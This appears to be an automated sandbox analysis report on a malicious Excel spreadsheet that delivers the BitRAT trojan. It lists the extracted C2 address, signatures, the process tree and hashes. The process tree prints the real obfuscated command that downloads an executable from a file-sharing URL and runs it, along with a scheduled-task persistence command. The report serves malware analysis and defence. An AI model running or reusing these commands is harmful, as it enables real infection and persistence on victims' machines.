bitrat | c1f218a24f82946584e59d64abc9762e85614803fe82c432d21678d1ae000db5

General

Target

Zapitvane_MACH_BULGARIA_EOOD_09_2023.xls
Size

100KB
MD5

55e0c24ad93d53e9a161d813f09d9e9a
SHA1

e3b6b703b99801b32a4c9754d591383dc30432bb
SHA256

c1f218a24f82946584e59d64abc9762e85614803fe82c432d21678d1ae000db5
SHA512

55127c6cbb0a7120f86378feb4057ccfc5341b22f902fffd14121cde404002de6422ebc5b346ae8ea8967d458d4581c68f7ae97d6b0ff85ad10d38aa38071375
SSDEEP

3072:QrxEtjPOtioVjDGUU1qfDlaGGx+cL2QnADtJE2zuxq+fr9wBLa71ba2ryLTHeYR:2xEtjPOtioVjDGUU1qfDlavx+W2QnApF

Score

10^/10

bitrat trojan

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes

communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3228	232	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

30 4612 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

gg1c8.exegg1c8.exestate.exe

pid process

2384 gg1c8.exe
3480 gg1c8.exe
4340 state.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

gg1c8.exe

description pid process target process

PID 2384 set thread context of 3480 2384 gg1c8.exe gg1c8.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2408 3480 WerFault.exe gg1c8.exe

flow	pid	process
30	4612	powershell.exe

pid	process
2384	gg1c8.exe
3480	gg1c8.exe
4340	state.exe

description	pid	process	target process
PID 2384 set thread context of 3480	2384	gg1c8.exe	gg1c8.exe

pid	pid_target	process	target process
2408	3480	WerFault.exe	gg1c8.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

4996 schtasks.exe

pid	process
4996	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

232 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4612 powershell.exe
4612 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4612 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

232 EXCEL.EXE
232 EXCEL.EXE

pid	process
4612	powershell.exe
4612	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4612	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE
232	EXCEL.EXE

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exegg1c8.execmd.exe

description	pid	process	target process
PID 232 wrote to memory of 3228	232	EXCEL.EXE	cmd.exe
PID 232 wrote to memory of 3228	232	EXCEL.EXE	cmd.exe
PID 3228 wrote to memory of 4612	3228	cmd.exe	powershell.exe
PID 3228 wrote to memory of 4612	3228	cmd.exe	powershell.exe
PID 4612 wrote to memory of 2384	4612	powershell.exe	gg1c8.exe
PID 4612 wrote to memory of 2384	4612	powershell.exe	gg1c8.exe
PID 4612 wrote to memory of 2384	4612	powershell.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 3480	2384	gg1c8.exe	gg1c8.exe
PID 2384 wrote to memory of 2580	2384	gg1c8.exe	cmd.exe
PID 2384 wrote to memory of 2580	2384	gg1c8.exe	cmd.exe
PID 2384 wrote to memory of 2580	2384	gg1c8.exe	cmd.exe
PID 2384 wrote to memory of 1768	2384	gg1c8.exe	cmd.exe
PID 2384 wrote to memory of 1768	2384	gg1c8.exe	cmd.exe
PID 2384 wrote to memory of 1768	2384	gg1c8.exe	cmd.exe
PID 2384 wrote to memory of 2840	2384	gg1c8.exe	cmd.exe
PID 2384 wrote to memory of 2840	2384	gg1c8.exe	cmd.exe
PID 2384 wrote to memory of 2840	2384	gg1c8.exe	cmd.exe
PID 1768 wrote to memory of 4996	1768	cmd.exe	schtasks.exe
PID 1768 wrote to memory of 4996	1768	cmd.exe	schtasks.exe
PID 1768 wrote to memory of 4996	1768	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Zapitvane_MACH_BULGARIA_EOOD_09_2023.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:232

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/YeTYSYp0DR/abe.e^xe -o C:\Users\Public\gg1c8.exe;C:\Users\Public\gg1c8.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://transfer.sh/get/YeTYSYp0DR/abe.exe -o C:\Users\Public\gg1c8.exe;C:\Users\Public\gg1c8.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4612

C:\Users\Public\gg1c8.exe
"C:\Users\Public\gg1c8.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2384

C:\Users\Public\gg1c8.exe
"C:\Users\Public\gg1c8.exe"
5⤵
- Executes dropped EXE
PID:3480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3480 -s 188
6⤵
- Program crash
PID:2408

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Users\Public\gg1c8.exe" "C:\Users\Admin\AppData\Roaming\state\state.exe"
5⤵
PID:2840

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\state\state.exe'" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:1768

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\state\state.exe'" /f
6⤵
- Creates scheduled task(s)
PID:4996

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\state"
5⤵
PID:2580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3480 -ip 3480
1⤵
PID:1716

C:\Users\Admin\AppData\Roaming\state\state.exe
C:\Users\Admin\AppData\Roaming\state\state.exe
1⤵
- Executes dropped EXE
PID:4340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t1yaq1jb.akd.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\state\state.exe
Filesize
7.6MB

MD5
18e07c4772a2687ee06a434ffef9572f

SHA1
ff1a7e4f53efdbd0935bcf8a8dac338ea96c9dbe

SHA256
ef509cb0a60d929e4f0acd3696e724397dc8113170df0ef478ea2afaae7800d8

SHA512
8795a49d7c5993f24a290e9d5f9299871af4ffd51a66b0656bf0057cdc15b1286350aae55be7b69cec660df1353f5a4dffdc08004a1b447b1b75e5645ac6188b

Download Submit
C:\Users\Admin\AppData\Roaming\state\state.exe
Filesize
5.9MB

MD5
45c50cc602b9619ddb74801efd8dd8af

SHA1
5447633998fe50f39d10c4df2d7c2342ada25e91

SHA256
15262068fe6689fc3c753ecff48e02ded340651ab80a80f38364bddcc12ae8d3

SHA512
69ed4cb953f6cc309f740b128e006f0e789913e375d1456646a159c56a023ea376f1c54f7461ca8a90781e9968be33e1b9c85423cb11739af10cfdd5000a9c5b

Download Submit
C:\Users\Admin\AppData\Roaming\state\state.exe
Filesize
5.2MB

MD5
569249599442b3d5bade01734cf7ca16

SHA1
89c367118c4e5df714fd349d9aae709add3f178a

SHA256
e7c54a3c4ef7c23491f22659d993d3acd8eb10bbe1e003f2f7ba932c1a0df19d

SHA512
232e6fdd70668d40f93a31a5f0334239eeeb254c325c6b5139a96bacb59b6823e7a354ab32681c41843b8573380e804894850a75f34004272f94c32d406cbd78

Download Submit
C:\Users\Public\gg1c8.exe
Filesize
7.6MB

MD5
18e07c4772a2687ee06a434ffef9572f

SHA1
ff1a7e4f53efdbd0935bcf8a8dac338ea96c9dbe

SHA256
ef509cb0a60d929e4f0acd3696e724397dc8113170df0ef478ea2afaae7800d8

SHA512
8795a49d7c5993f24a290e9d5f9299871af4ffd51a66b0656bf0057cdc15b1286350aae55be7b69cec660df1353f5a4dffdc08004a1b447b1b75e5645ac6188b

Download Submit
C:\Users\Public\gg1c8.exe
Filesize
7.6MB

MD5
18e07c4772a2687ee06a434ffef9572f

SHA1
ff1a7e4f53efdbd0935bcf8a8dac338ea96c9dbe

SHA256
ef509cb0a60d929e4f0acd3696e724397dc8113170df0ef478ea2afaae7800d8

SHA512
8795a49d7c5993f24a290e9d5f9299871af4ffd51a66b0656bf0057cdc15b1286350aae55be7b69cec660df1353f5a4dffdc08004a1b447b1b75e5645ac6188b

Download Submit
C:\Users\Public\gg1c8.exe
Filesize
7.6MB

MD5
18e07c4772a2687ee06a434ffef9572f

SHA1
ff1a7e4f53efdbd0935bcf8a8dac338ea96c9dbe

SHA256
ef509cb0a60d929e4f0acd3696e724397dc8113170df0ef478ea2afaae7800d8

SHA512
8795a49d7c5993f24a290e9d5f9299871af4ffd51a66b0656bf0057cdc15b1286350aae55be7b69cec660df1353f5a4dffdc08004a1b447b1b75e5645ac6188b

Download Submit
memory/232-43-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-46-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-9-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-10-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-11-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-12-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-14-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-13-0x00007FFA081D0000-0x00007FFA081E0000-memory.dmp

Filesize
64KB

Download
memory/232-15-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-16-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-17-0x00007FFA081D0000-0x00007FFA081E0000-memory.dmp

Filesize
64KB

Download
memory/232-24-0x0000023050670000-0x0000023050E70000-memory.dmp

Filesize
8.0MB

Download
memory/232-26-0x0000023050670000-0x0000023050E70000-memory.dmp

Filesize
8.0MB

Download
memory/232-27-0x0000023050670000-0x0000023050E70000-memory.dmp

Filesize
8.0MB

Download
memory/232-8-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-1-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-2-0x00007FFA0A970000-0x00007FFA0A980000-memory.dmp

Filesize
64KB

Download
memory/232-3-0x00007FFA0A970000-0x00007FFA0A980000-memory.dmp

Filesize
64KB

Download
memory/232-4-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-42-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-0-0x00007FFA0A970000-0x00007FFA0A980000-memory.dmp

Filesize
64KB

Download
memory/232-44-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-45-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-7-0x00007FFA0A970000-0x00007FFA0A980000-memory.dmp

Filesize
64KB

Download
memory/232-47-0x0000023050670000-0x0000023050E70000-memory.dmp

Filesize
8.0MB

Download
memory/232-50-0x0000023050670000-0x0000023050E70000-memory.dmp

Filesize
8.0MB

Download
memory/232-6-0x00007FFA4A8F0000-0x00007FFA4AAE5000-memory.dmp

Filesize
2.0MB

Download
memory/232-5-0x00007FFA0A970000-0x00007FFA0A980000-memory.dmp

Filesize
64KB

Download
memory/2384-65-0x0000000000090000-0x000000000082E000-memory.dmp

Filesize
7.6MB

Download
memory/2384-79-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/2384-68-0x0000000006DF0000-0x000000000757A000-memory.dmp

Filesize
7.5MB

Download
memory/2384-67-0x0000000005280000-0x0000000005290000-memory.dmp

Filesize
64KB

Download
memory/2384-66-0x0000000005840000-0x0000000005DE4000-memory.dmp

Filesize
5.6MB

Download
memory/2384-64-0x0000000074D40000-0x00000000754F0000-memory.dmp

Filesize
7.7MB

Download
memory/3480-74-0x0000000000DB0000-0x000000000117E000-memory.dmp

Filesize
3.8MB

Download
memory/3480-70-0x0000000000DB0000-0x000000000117E000-memory.dmp

Filesize
3.8MB

Download
memory/3480-80-0x0000000000DB0000-0x000000000117E000-memory.dmp

Filesize
3.8MB

Download
memory/4612-51-0x00007FFA22650000-0x00007FFA23111000-memory.dmp

Filesize
10.8MB

Download
memory/4612-62-0x00007FFA22650000-0x00007FFA23111000-memory.dmp

Filesize
10.8MB

Download
memory/4612-52-0x000002682B610000-0x000002682B620000-memory.dmp

Filesize
64KB

Download
memory/4612-41-0x000002682B610000-0x000002682B620000-memory.dmp

Filesize
64KB

Download
memory/4612-53-0x000002682B610000-0x000002682B620000-memory.dmp

Filesize
64KB

Download
memory/4612-54-0x000002682B610000-0x000002682B620000-memory.dmp

Filesize
64KB

Download
memory/4612-40-0x000002682B610000-0x000002682B620000-memory.dmp

Filesize
64KB

Download
memory/4612-39-0x00007FFA22650000-0x00007FFA23111000-memory.dmp

Filesize
10.8MB

Download
memory/4612-34-0x000002682B790000-0x000002682B7B2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads